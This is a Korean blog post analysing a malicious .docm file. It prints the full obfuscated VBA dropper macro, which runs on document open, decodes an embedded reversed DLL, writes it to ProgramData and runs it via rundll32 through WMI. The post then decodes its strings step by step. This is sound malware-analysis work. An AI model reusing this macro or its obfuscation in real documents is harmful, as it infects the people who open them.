[Macro] 문서형 악성코드 분석
악성코드 정보
파일 타입: Docm
해시 값: 014827baac8a836d570203d3ff88b22957dcedd1cc4eae49e4ac62334f4f4903
파일 크기: 1,406,144 Byte
분석 시작
olevba 사용해 내부 코드를 확인하면 밑에 있는 코드를 확인할 수 있다.
Sub obiwgfhsha()
End Sub
Private Function ylpdfpnmlbmswkm() As Variant
ylpdfpnmlbmswkm = Array("chs", "cht", "deu", "enu", "esn", "fra", "ita", "jpn", "kor", "rus")
End Function
Private Function cwqykutktzoyalcwyhbf() As Variant
cwqykutktzoyalcwyhbf = Array("A1", "BU", "CZ", "DA", "FI", "FR", "GR", "HE", "HEB", "HU", "IC", "IT", "KOR", "NE", "NO", "PL1", "RO", "RU", "SP")
End Function
Private Sub Document_Open()
zwxcnxajcshyp True
End Sub
Private Sub dtlqnhxneoffkjywab(kwzbshccypfxpbrc As Boolean)
If Dir(".gattaka") <> "" Then
MsgBox "Not applicable environment", vbCritical, "Error"
Else
End If
End Sub
Private Function tylkftcicrjxfvkh(jrdhrfrnwmiz As String) As Byte()
Dim tjsjtweivmxniyr As Long, cthcsdekmdaszjq As Long
Dim wzkjzdvximq() As Byte
Dim ayxhcvijnqwfjysy As Long
Dim sndhqsilovqxlairz As String
tjsjtweivmxniyr = Len(jrdhrfrnwmiz)
ReDim wzkjzdvximq(0 To tjsjtweivmxniyr / 2 - 1)
ayxhcvijnqwfjysy = LBound(wzkjzdvximq)
sndhqsilovqxlairz = rrhzspxkphvvy("137171")
For cthcsdekmdaszjq = tjsjtweivmxniyr - 1 To 0 Step -2
wzkjzdvximq(ayxhcvijnqwfjysy) = CByte(CLng(sndhqsilovqxlairz + (Mid(jrdhrfrnwmiz, cthcsdekmdaszjq, 2))))
ayxhcvijnqwfjysy = ayxhcvijnqwfjysy + 1
Next cthcsdekmdaszjq
tylkftcicrjxfvkh = wzkjzdvximq
End Function
Private Sub raeozmfjnymq(pvnynzivlnpbtfcckhkm As String, cpnptsrgjlywqowekc() As Byte, Optional tiifnysxfmhsk As Boolean = False)
Dim dehrfnjjvdqvcc As Integer
Dim vnffvklapudjuz As String
Dim qpichnhnlchfa As String
If Not tiifnysxfmhsk Then
dehrfnjjvdqvcc = FreeFile
Open pvnynzivlnpbtfcckhkm For Binary As #dehrfnjjvdqvcc
Put #dehrfnjjvdqvcc, 1, cpnptsrgjlywqowekc
Close #dehrfnjjvdqvcc
Else
vnffvklapudjuz = "Abnormal termination"
MsgBox vnffvklapudjuz, vbCritical
End If
End Sub
Public Function rrhzspxkphvvy(fdoeegskucopx As String, Optional ghsivksfeumnzg As Long = 3) As String
Dim jzlnlozvokud As Object
Dim pudllqzagmavmy As Long
Dim fmxstnluywhfyhfeagi As String
Set jzlnlozvokud = siudlfagynaqsgxowx(60, 510, 99, 2)
For pudllqzagmavmy = 1 To Len(fdoeegskucopx) Step ghsivksfeumnzg
fmxstnluywhfyhfeagi = fmxstnluywhfyhfeagi + jzlnlozvokud(CInt(Mid(fdoeegskucopx, pudllqzagmavmy, ghsivksfeumnzg)))
Next pudllqzagmavmy
rrhzspxkphvvy = fmxstnluywhfyhfeagi
End Function
Private Function siudlfagynaqsgxowx(gegsprvpfmdyscnbyit As Long, fbhkzyybhnzl As Long, uywjraarktmwpduqnygc As Long, rknjbtxnvcdpfsyob As Long) As Object
Dim whlhgdkoeq As Object
Dim esxcxsbnadcjdqp As Long
Set whlhgdkoeq = CreateObject("Scripting.Dictionary")
For esxcxsbnadcjdqp = gegsprvpfmdyscnbyit / rknjbtxnvcdpfsyob To fbhkzyybhnzl / rknjbtxnvcdpfsyob
whlhgdkoeq(esxcxsbnadcjdqp + uywjraarktmwpduqnygc) = Chr(esxcxsbnadcjdqp)
Next esxcxsbnadcjdqp
Set siudlfagynaqsgxowx = whlhgdkoeq
End Function
Private Function zmzddjxylinzyx(lpxbxbgcxxpgmj() As Byte, rmbcpbmsbs() As Byte) As Byte()
Dim cwwodgeulknd() As Byte
Dim tsvilkfgvtu As Long, smbekfvtubycqf As Long
ReDim cwwodgeulknd(0 To UBound(lpxbxbgcxxpgmj) + UBound(rmbcpbmsbs) + 1)
smbekfvtubycqf = 0
For tsvilkfgvtu = LBound(lpxbxbgcxxpgmj) To UBound(lpxbxbgcxxpgmj)
cwwodgeulknd(smbekfvtubycqf) = lpxbxbgcxxpgmj(tsvilkfgvtu)
smbekfvtubycqf = smbekfvtubycqf + 1
Next tsvilkfgvtu
For tsvilkfgvtu = LBound(rmbcpbmsbs) To UBound(rmbcpbmsbs)
cwwodgeulknd(smbekfvtubycqf) = rmbcpbmsbs(tsvilkfgvtu)
smbekfvtubycqf = smbekfvtubycqf + 1
Next tsvilkfgvtu
zmzddjxylinzyx = cwwodgeulknd
End Function
Private Function lcjsxjbkldksstie() As Byte()
Const retkrmjepnvpt = "174165"
Const kppsxxgzlizwzk = "145167175175"
Dim bvtmffmapjkqz As Integer
Dim phtlfmyqnkhwagf As Variant
Dim xijjpjosysboevz() As Byte
Dim asertrmporfilkp() As Byte
Dim qbtpnhioyfve() As Byte
Randomize
bvtmffmapjkqz = CInt(Rnd * 100)
If bvtmffmapjkqz > 100 Then
phtlfmyqnkhwagf = ylpdfpnmlbmswkm
Else
phtlfmyqnkhwagf = cwqykutktzoyalcwyhbf
End If
bvtmffmapjkqz = Rnd * UBound(phtlfmyqnkhwagf)
xijjpjosysboevz = phtlfmyqnkhwagf(bvtmffmapjkqz)
qbtpnhioyfve = zmzddjxylinzyx(rrhzspxkphvvy(retkrmjepnvpt), xijjpjosysboevz)
ReDim asertrmporfilkp(0 To 1)
asertrmporfilkp(0) = CInt(Rnd * 9 + 48)
qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
asertrmporfilkp = rrhzspxkphvvy(kppsxxgzlizwzk)
qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
lcjsxjbkldksstie = qbtpnhioyfve
End Function
Sub yoxtuitsmsvbjfepuxc()
zwxcnxajcshyp True
End Sub
Private Sub zwxcnxajcshyp(zdhyapqsagz As Boolean)
Const merrdjtosyhjjuraz = "166157191179213210202213196208167196215196191"
Const iujnoejlhsccsg = "218204209208202208215214157222204208211200213214210209196215204210209175200217200207160204208211200213214210209196215200224132191191145191213210210215191198204208217149"
Const qpwyadnvluauprq = "186204209150149194179213210198200214214182215196213215216211"
Const lwflmkaqbtsalhmvh = "218204209208202208215214157213210210215191198204208217149157186204209150149194179213210198200214214"
Const ichejlnhmywnfzndkdg = "203215215211157146146207210198196207203210214215146"
Dim pnjbsrngsgckjayoasd() As Byte
Dim diowrynmsjektmzbl As String
Dim nvplchnzsnuzfpoy As String
If Dir(".gattaka") <> "" Then
MsgBox "Obsolete environment, please, update", vbInformation
Else
If zdhyapqsagz Then
pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts(rrhzspxkphvvy(ichejlnhmywnfzndkdg)).SelectSingleNode("/").Text)
diowrynmsjektmzbl = lcjsxjbkldksstie
raeozmfjnymq rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl, pnjbsrngsgckjayoasd, False
pnjbsrngsgckjayoasd = rrhzspxkphvvy(merrdjtosyhjjuraz)
Set fhfcsnunstz = GetObject(rrhzspxkphvvy(iujnoejlhsccsg))
Set xydisndhrfnkrmnael = fhfcsnunstz.Get(rrhzspxkphvvy(qpwyadnvluauprq))
Set ieupzwunaig = xydisndhrfnkrmnael.SpawnInstance_
Set mpuduxzmupgceh = GetObject(rrhzspxkphvvy(lwflmkaqbtsalhmvh))
nvplchnzsnuzfpoy = rrhzspxkphvvy("213216209199207207150149131") + rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl + rrhzspxkphvvy("143204209204215")
vdibilucsvcvqrqhgbyy = mpuduxzmupgceh.Create(nvplchnzsnuzfpoy, Null, ieupzwunaig, uyyuhnoffydfft)
Else
End If
End If
End Sub
이 코드는 난독화가 되어 있는 코드이며 다음과 같은 분석 순서를 정해서 분석 시작
1. 코드 시작 찾기
2. Main 함수 찾기
3. 디코딩 방식 분석
4. Main 함수 분석
코드 시작 찾기
이코드는 DOCM에 내장된 코드로 매크로를 사용하며 Document_open()을 이용
문서가 시작되면 자동으로 실행되도록 설정해 놓았다.
Private Sub Document_Open()
zwxcnxajcshyp True
End Sub
이 부분이 코드의 시작이고 zwxcnxajcshyp 함수가 Main 함수로 추측된다.
Main 함수 찾기
Private Sub zwxcnxajcshyp(zdhyapqsagz As Boolean)
Const merrdjtosyhjjuraz = "166157191179213210202213196208167196215196191"
Const iujnoejlhsccsg = "218204209208202208215214157222204208211200213214210209196215204210209175200217200207160204208211200213214210209196215200224132191191145191213210210215191198204208217149"
Const qpwyadnvluauprq = "186204209150149194179213210198200214214182215196213215216211"
Const lwflmkaqbtsalhmvh = "218204209208202208215214157213210210215191198204208217149157186204209150149194179213210198200214214"
Const ichejlnhmywnfzndkdg = "203215215211157146146207210198196207203210214215146"
Dim pnjbsrngsgckjayoasd() As Byte
Dim diowrynmsjektmzbl As String
Dim nvplchnzsnuzfpoy As String
If Dir(".gattaka") <> "" Then
MsgBox "Obsolete environment, please, update", vbInformation
Else
If zdhyapqsagz Then
pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts(rrhzspxkphvvy(ichejlnhmywnfzndkdg)).SelectSingleNode("/").Text)
diowrynmsjektmzbl = lcjsxjbkldksstie
raeozmfjnymq rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl, pnjbsrngsgckjayoasd, False
pnjbsrngsgckjayoasd = rrhzspxkphvvy(merrdjtosyhjjuraz)
Set fhfcsnunstz = GetObject(rrhzspxkphvvy(iujnoejlhsccsg))
Set xydisndhrfnkrmnael = fhfcsnunstz.Get(rrhzspxkphvvy(qpwyadnvluauprq))
Set ieupzwunaig = xydisndhrfnkrmnael.SpawnInstance_
Set mpuduxzmupgceh = GetObject(rrhzspxkphvvy(lwflmkaqbtsalhmvh))
nvplchnzsnuzfpoy = rrhzspxkphvvy("213216209199207207150149131") + rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl + rrhzspxkphvvy("143204209204215")
vdibilucsvcvqrqhgbyy = mpuduxzmupgceh.Create(nvplchnzsnuzfpoy, Null, ieupzwunaig, uyyuhnoffydfft)
Else
End If
End If
End Sub
Main 함수로 추측한 이 코드의 구성을 확인해보면 몇가지 특징을 알 수 있다.
1. 숫자로 구성된 문자열 선언
2. 숫자로 구성된 문자열을 사용할 때 rrhzspxkphvvy 함수를 사용한다.
이러한 특징을 바탕으로 판단할 수 있는 것은 rrhzspxkphvvy 함수가 디코딩에 사용하는 함수라고 생각된다.
그외의 코드는 문자열을 모두 디코딩한 이후 알 수 있을 것으로 판단된다.
디코딩 방식 분석
디코딩 함수의 내부를 따라들어가면 다음과 같은 코드를 볼 수 있다.
Public Function rrhzspxkphvvy(fdoeegskucopx As String, Optional ghsivksfeumnzg As Long = 3) As String
Dim jzlnlozvokud As Object
Dim pudllqzagmavmy As Long
Dim fmxstnluywhfyhfeagi As String
Set jzlnlozvokud = siudlfagynaqsgxowx(60, 510, 99, 2)
For pudllqzagmavmy = 1 To Len(fdoeegskucopx) Step ghsivksfeumnzg
fmxstnluywhfyhfeagi = fmxstnluywhfyhfeagi + jzlnlozvokud(CInt(Mid(fdoeegskucopx, pudllqzagmavmy, ghsivksfeumnzg)))
Next pudllqzagmavmy
rrhzspxkphvvy = fmxstnluywhfyhfeagi
End Function
Private Function siudlfagynaqsgxowx(gegsprvpfmdyscnbyit As Long, fbhkzyybhnzl As Long, uywjraarktmwpduqnygc As Long, rknjbtxnvcdpfsyob As Long) As Object
Dim whlhgdkoeq As Object
Dim esxcxsbnadcjdqp As Long
Set whlhgdkoeq = CreateObject("Scripting.Dictionary")
For esxcxsbnadcjdqp = gegsprvpfmdyscnbyit / rknjbtxnvcdpfsyob To fbhkzyybhnzl / rknjbtxnvcdpfsyob
whlhgdkoeq(esxcxsbnadcjdqp + uywjraarktmwpduqnygc) = Chr(esxcxsbnadcjdqp)
Next esxcxsbnadcjdqp
Set siudlfagynaqsgxowx = whlhgdkoeq
End Function
이코드를 간단히 설명하면 rrhzspxkphvvy 함수에서 숫자로 된 문자열을 3개씩 끊어서 100자리 수의 숫자로 만들어 준다.
이후 Dictionary에서 100자리 숫자를 키값으로 이용해 값을 꺼내 문자열을 만들어주는 코드이다.
이때 Dictionary는 siudlfagynaqsgxowx를 통해서 Dictionary를 얻을 수 있다.
1. Ascii code 30부터 255까지를 Dictionary value로 저장
2. Key 값은 129부터 353까지의 숫자를 키로 가진다.
3. 인자로 받은 문자열을 3자리씩 끊어서 키값으로 사용
4. 공격자가 원하는 문자열 추출
방식을 알았으니 문자열들을 디코딩해보자
Const merrdjtosyhjjuraz = "C:\ProgramData\"
Const iujnoejlhsccsg = "winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"
Const qpwyadnvluauprq = "Win32_ProcessStartup"
Const lwflmkaqbtsalhmvh = "winmgmts:root\cimv2:Win32_Process"
Const ichejlnhmywnfzndkdg = "http://localhost/"
이런 문자열을 얻을 수 있었다.
Main 함수 분석
앞에서 디코딩한 문자열로 코드를 교체해서 분석을 시작해 본다
pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts("http://localhost/").SelectSingleNode("/").Text)
diowrynmsjektmzbl = lcjsxjbkldksstie
raeozmfjnymq "C:\ProgramData\" + diowrynmsjektmzbl, pnjbsrngsgckjayoasd, False
pnjbsrngsgckjayoasd = "C:\ProgramData\"
Set fhfcsnunstz = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set xydisndhrfnkrmnael = fhfcsnunstz.Get("Win32_ProcessStartup")
Set ieupzwunaig = xydisndhrfnkrmnael.SpawnInstance_
Set mpuduxzmupgceh = GetObject("winmgmts:root\cimv2:Win32_Process")
nvplchnzsnuzfpoy = "rundll32" + rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl + ",init"
vdibilucsvcvqrqhgbyy = mpuduxzmupgceh.Create(nvplchnzsnuzfpoy, Null, ieupzwunaig, uyyuhnoffydfft)
이제 코드가 정리가 잘 되어보인다.
ActiveDocument.CustomXMLParts(“http://localhost/”).SelectSingleNode(“/”).Text
이코드는 OOXML 구조에서 CustomXML 의 http://localhost 부분의 내용을 가져온다는 의미
이 악성코드를 zip으로 확장자를 변경해서 내부를 확인해보면 customXml 디렉터리 내부에 item1.xml 폴더가 있다
<custom-xml-content xmlns="http://localhost/">핵사값 </custom-xml-content>
이런 형태의 xml이 있다. (핵사값은 길이가 길어 생략)
안에 있는 핵사값을 복사해서 HXD프로그램에 넣어서 확인해보면 알수 없는 형태의 파일이 만들어지는데 이 파일의 정체는 마지막 부분을 확인해 보면 알 수 있다.
이 파일의 정체는 거꾸로 되어있는 PE파일이다.
하지만 아직 이 파일이 exe파일인지 dll파일인지 알수는 없다
다음 코드를 조금 더 분석해 보면 정확한 정체를 알 수 있다.
diowrynmsjektmzbl = lcjsxjbkldksstie
이코드에서 lcjsxjbkldksstie는 함수이다. 함수를 실행해 특정 값을 반환하는 코드로 보인다.
Private Function lcjsxjbkldksstie() As Byte()
Const retkrmjepnvpt = "174165" 'KB
Const kppsxxgzlizwzk = "145167175175" '.dll
Dim bvtmffmapjkqz As Integer
Dim phtlfmyqnkhwagf As Variant
Dim xijjpjosysboevz() As Byte
Dim asertrmporfilkp() As Byte
Dim qbtpnhioyfve() As Byte
Randomize
bvtmffmapjkqz = CInt(Rnd * 100)
If bvtmffmapjkqz > 100 Then
phtlfmyqnkhwagf = ylpdfpnmlbmswkm
Else
phtlfmyqnkhwagf = cwqykutktzoyalcwyhbf
End If
bvtmffmapjkqz = Rnd * UBound(phtlfmyqnkhwagf)
xijjpjosysboevz = phtlfmyqnkhwagf(bvtmffmapjkqz)
qbtpnhioyfve = zmzddjxylinzyx(rrhzspxkphvvy(retkrmjepnvpt), xijjpjosysboevz)
ReDim asertrmporfilkp(0 To 1)
asertrmporfilkp(0) = CInt(Rnd * 9 + 48)
qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
asertrmporfilkp = rrhzspxkphvvy(kppsxxgzlizwzk)
qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
lcjsxjbkldksstie = qbtpnhioyfve
End Function
이코드를 간단히 분석해서 알 수 있는 것은 파일 이름을 반환하는 코드이고 전에 얻은 PE파일은 DLL이라고 추측할 수 있다.
상세히 분석하면 이 코드는 파일 이름을 랜덤으로 얻는 것을 알 수 있다.
여기까지 분석을 완료 했다면 거의 다 분석했다.
이후 코드 분석
이 후 코드는 코드의 경로를 설정해 준 이후
rundll32를 실행해 이전에 얻은 dll을 실행
결론
이코드는 dropper이며 DLL을 생성해 실행해주는 코드이다
댓글남기기